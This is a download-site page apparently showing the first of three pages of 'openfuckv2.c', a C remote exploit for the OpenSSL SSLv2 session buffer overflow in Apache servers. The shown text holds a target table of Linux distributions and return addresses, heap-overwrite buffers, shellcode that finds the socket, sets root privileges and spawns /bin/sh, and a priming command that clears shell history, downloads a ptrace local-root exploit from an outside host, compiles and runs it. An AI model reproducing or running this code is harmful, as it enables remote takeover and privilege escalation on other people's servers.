⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 openfuckv2.c

📁 LinuxTools一书随书源代码
💻 C
📖 第 1 页 / 共 3 页
字号:
		"Slackware Linux 4.0 (apache-1.3.6)",		0x08088130	},	{		"Slackware Linux 7.0 (apache-1.3.9)",		0x080a7fc0	},	{		"Slackware Linux 7.0 (apache-1.3.26)",		0x083d37fc	},        {       "Slackware 7.0  (apache-1.3.26)2",		0x083d2232	},	{		"Slackware Linux 7.1 (apache-1.3.12)",		0x080a86a4	},	{		"Slackware Linux 8.0 (apache-1.3.20)",		0x080ae67c	},	{		"Slackware Linux 8.1 (apache-1.3.24)",		0x080b0c60	},	{		"Slackware Linux 8.1 (apache-1.3.26)",		0x080b2100	},	{		"Slackware Linux 8.1-stable (apache-1.3.26)",		0x080b0c60	},	{       "Slackware Linux (apache-1.3.27)",	        0x080b1a3a	},	{		"SuSE Linux 7.0 (apache-1.3.12)",		0x0809f54c	},	{		"SuSE Linux 7.1 (apache-1.3.17)",		0x08099984	},	{		"SuSE Linux 7.2 (apache-1.3.19)",		0x08099ec8	},	{		"SuSE Linux 7.3 (apache-1.3.20)",		0x08099da8	},	{		"SuSE Linux 8.0 (apache-1.3.23)",		0x08086168	},	{		"SUSE Linux 8.0 (apache-1.3.23-120)",		0x080861c8	},	{		"SuSE Linux 8.0 (apache-1.3.23-137)",		0x080861c8	},/* this one unchecked cause require differend shellcode */	{		"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",		0xfd42630	},};extern int errno;int cipher;int ciphers;/* the offset of the local port from be beginning of the overwrite next chunk buffer */#define FINDSCKPORTOFS     208 + 12 + 46unsigned char overwrite_session_id_length[] =	"AAAA"								/* int master key length; */	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL MAX MASTER KEY LENGTH];	*/	"\x70\x00\x00\x00";					/* unsigned int session id length; */unsigned char overwrite_next_chunk[] =	"AAAA"								/* int master key length; */	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL MAX MASTER KEY LENGTH];	*/	"AAAA"								/* unsigned int session id length; */	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */	"AAAA"								/* unsigned int sid ctx length; */	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */	"AAAA"								/* int not resumable; */	"\x00\x00\x00\x00"					/* struct sess cert st *sess cert; */	"\x00\x00\x00\x00"					/* X509 *peer; */	"AAAA"								/* long verify result; */	"\x01\x00\x00\x00"					/* int references; */	"AAAA"								/* int timeout; */	"AAAA"								/* int time */	"AAAA"								/* int compress meth; */	"\x00\x00\x00\x00"					/* SSL CIPHER *cipher; */	"AAAA"								/* unsigned long cipher id; */	"\x00\x00\x00\x00"					/* STACK OF(SSL CIPHER) *ciphers; */	"\x00\x00\x00\x00\x00\x00\x00\x00"	/* CRYPTO EX DATA ex data; */	"AAAAAAAA"							/* struct ssl session st *prev,*next; */	"\x00\x00\x00\x00"					/* Size of previous chunk */	"\x11\x00\x00\x00"					/* Size of chunk, in bytes */	"fdfd"								/* Forward and back pointers */	"bkbk"	"\x10\x00\x00\x00"					/* Size of previous chunk */	"\x10\x00\x00\x00"					/* Size of chunk, PREV INUSE is set *//* shellcode start */    "\xeb\x0a\x90\x90"	/* jump 10 bytes ahead, land at shellcode */    "\x90\x90\x90\x90"    "\x90\x90\x90\x90"	/* this is overwritten with FD by the unlink macro *//* 72 bytes findsckcode by LSD-pl */    "\x31\xdb"             /* xorl    %ebx,%ebx              */    "\x89\xe7"             /* movl    %esp,%edi              */    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */    "\xb3\x10"             /* movb    $0x10,%bl              */    "\x89\x19"             /* movl    %ebx,(%ecx)            */    "\x31\xc9"             /* xorl    %ecx,%ecx              */    "\xb1\xff"             /* movb    $0xff,%cl              */    "\x89\x0f"             /* movl    %ecx,(%edi)            */    "\x51"                 /* pushl   %ecx                   */    "\x31\xc0"             /* xorl    %eax,%eax              */    "\xb0\x66"             /* movb    $0x66,%al              */    "\xb3\x07"             /* movb    $0x07,%bl              */    "\x89\xf9"             /* movl    %edi,%ecx              */    "\xcd\x80"             /* int     $0x80                  */    "\x59"                 /* popl    %ecx                   */    "\x31\xdb"             /* xorl    %ebx,%ebx              */    "\x39\xd8"             /* cmpl    %ebx,%eax              */    "\x75\x0a"             /* jne     <findsckcode+54>       */    "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */    "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */    "\x74\x02"             /* je      <findsckcode+56>       */    "\xe2\xe0"             /* loop    <findsckcode+24>       */    "\x89\xcb"             /* movl    %ecx,%ebx              */    "\x31\xc9"             /* xorl    %ecx,%ecx              */    "\xb1\x03"             /* movb    $0x03,%cl              */    "\x31\xc0"             /* xorl    %eax,%eax              */    "\xb0\x3f"             /* movb    $0x3f,%al              */    "\x49"                 /* decl    %ecx                   */    "\xcd\x80"             /* int     $0x80                  */    "\x41"                 /* incl    %ecx                   */    "\xe2\xf6"             /* loop    <findsckcode+62>       *//* 10 byte setresuid(0,0,0); by core */     "\x31\xc9"       /* xor    %ecx,%ecx */     "\xf7\xe1"       /* mul    %ecx,%eax */     "\x51"           /* push   %ecx */     "\x5b"           /* pop    %ebx */     "\xb0\xa4"       /* mov    $0xa4,%al */     "\xcd\x80"       /* int    $0x80 */    /* bigger shellcode added by spabam *//* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"        "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"*//* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */    "\x31\xc0"             /* xorl    %eax,%eax              */    "\x50"                 /* pushl   %eax                   */    "\x68""//sh"           /* pushl   $0x68732f2f            */    "\x68""/bin"           /* pushl   $0x6e69622f            */    "\x89\xe3"             /* movl    %esp,%ebx              */    "\x50"                 /* pushl   %eax                   */    "\x53"                 /* pushl   %ebx                   */    "\x89\xe1"             /* movl    %esp,%ecx              */    "\x99"                 /* cdql                           */    "\xb0\x0b"             /* movb    $0x0b,%al              */    "\xcd\x80";             /* int     $0x80                  *//* read and write buffer*/#define BUFSIZE 16384/* hardcoded protocol stuff */#define CHALLENGE_LENGTH 16#define RC4_KEY_LENGTH 16	/* 128 bits */#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)/* straight from the openssl source */#define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)#define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)/* we keep all SSL2 state in this structure */typedef struct {	int sock;	/* client stuff */	unsigned char challenge[CHALLENGE_LENGTH];	unsigned char master_key[RC4_KEY_LENGTH];	unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];	/* connection id - returned by the server */	int conn_id_length;	unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];	/* server certificate */	X509 *x509;	/* session keys */	unsigned char* read_key;	unsigned char* write_key;	RC4_KEY* rc4_read_key;	RC4_KEY* rc4_write_key;	/* sequence numbers, used for MAC calculation */	int read_seq;	int write_seq;	/* set to 1 when the SSL2 handshake is complete */	int encrypted;} ssl_conn;#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"long getip(char *hostname) {	struct hostent *he;	long ipaddr;		if ((ipaddr = inet_addr(hostname)) < 0) {		if ((he = gethostbyname(hostname)) == NULL) {			perror("gethostbyname()");			exit(-1);		}		memcpy(&ipaddr, he->h_addr, he->h_length);	}		return ipaddr;}/* mixter's code w/enhancements by core */int sh(int sockfd) {   char snd[1024], rcv[1024];   fd_set rset;   int maxfd, n;   /* Priming commands */   strcpy(snd, COMMAND1 "\n");   write(sockfd, snd, strlen(snd));   strcpy(snd, COMMAND2 "\n");   write(sockfd, snd, strlen(snd));   /* Main command loop */   for (;;) {      FD_SET(fileno(stdin), &rset);      FD_SET(sockfd, &rset);      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;      select(maxfd, &rset, NULL, NULL, NULL);      if (FD_ISSET(fileno(stdin), &rset)) {	 bzero(snd, sizeof(snd));	 fgets(snd, sizeof(snd)-2, stdin);	 write(sockfd, snd, strlen(snd));      }      if (FD_ISSET(sockfd, &rset)) {	 bzero(rcv, sizeof(rcv));	 if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {	    printf("Good Bye!\n");	    return 0;	 }	 if (n < 0) {	    perror("read");	    return 1;	 }	 fputs(rcv, stdout);	 fflush(stdout); /* keeps output nice */      }   } /* for(;;) */}/* Returns the local port of a connected socket */int get_local_port(int sock){	struct sockaddr_in s_in;	unsigned int namelen = sizeof(s_in);	if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {		printf("Can't get local port: %s\n", strerror(errno));		exit(1);	}	return s_in.sin_port;}/* Connect to a host */int connect_host(char* host, int port){	struct sockaddr_in s_in;	int sock;	s_in.sin_family = AF_INET;	s_in.sin_addr.s_addr = getip(host);	s_in.sin_port = htons(port);	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {		printf("Could not create a socket\n");		exit(1);	}	if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {		printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));		exit(1);	}	return sock;}/* Create a new ssl conn structure and connect to a host */ssl_conn* ssl_connect_host(char* host, int port){	ssl_conn* ssl;	if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {		printf("Can't allocate memory\n");		exit(1);	}	/* Initialize some values */	ssl->encrypted = 0;	ssl->write_seq = 0;	ssl->read_seq = 0;	ssl->sock = connect_host(host, port);	return ssl;}/* global buffer used by the ssl result() */char res_buf[30];/* converts an SSL error code to a string */char* ssl_error(int code) {	switch (code) {		case 0x00:	return "SSL2 PE UNDEFINED ERROR (0x00)";		case 0x01:	return "SSL2 PE NO CIPHER (0x01)";		case 0x02:	return "SSL2 PE NO CERTIFICATE (0x02)";		case 0x04:	return "SSL2 PE BAD CERTIFICATE (0x03)";		case 0x06:	return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";	default:		sprintf(res_buf, "%02x", code);		return res_buf;	}}/* read len bytes from a socket. boring. */int read_data(int sock, unsigned char* buf, int len){	int l;	int to_read = len;	do {		if ((l = read(sock, buf, to_read)) < 0) {			printf("Error in read: %s\n", strerror(errno));			exit(1);		}		to_read -= len;	} while (to_read > 0);	return len;}/* reads an SSL packet and decrypts it if necessery */int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size){	int rec_len, padding;	read_data(ssl->sock, buf, 2);	if ((buf[0] & 0x80) == 0) {		/* three byte header */		rec_len = ((buf[0] & 0x3f) << 8) | buf[1];		read_data(ssl->sock, &buf[2], 1);		padding = (int)buf[2];	}	else {		/* two byte header */		rec_len = ((buf[0] & 0x7f) << 8) | buf[1];		padding = 0;	}	if ((rec_len <= 0) || (rec_len > buf_size)) {		printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); 		exit(1);	}	read_data(ssl->sock, buf, rec_len);	if (ssl->encrypted) {		if (MD5_DIGEST_LENGTH + padding >= rec_len) {			if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {				/* the server didn't switch to encryption due to an error */				return 0;			}			else {				printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);				exit(1);			}		}		/* decrypt the encrypted part of the packet */		RC4(ssl->rc4_read_key, rec_len, buf, buf);		/* move the decrypted message in the beginning of the buffer */		rec_len = rec_len - MD5_DIGEST_LENGTH - padding;		memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);	}	if (buf[0] == SSL2_MT_ERROR) {		if (rec_len != 3) {			printf("Malformed server error message\n");			exit(1);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -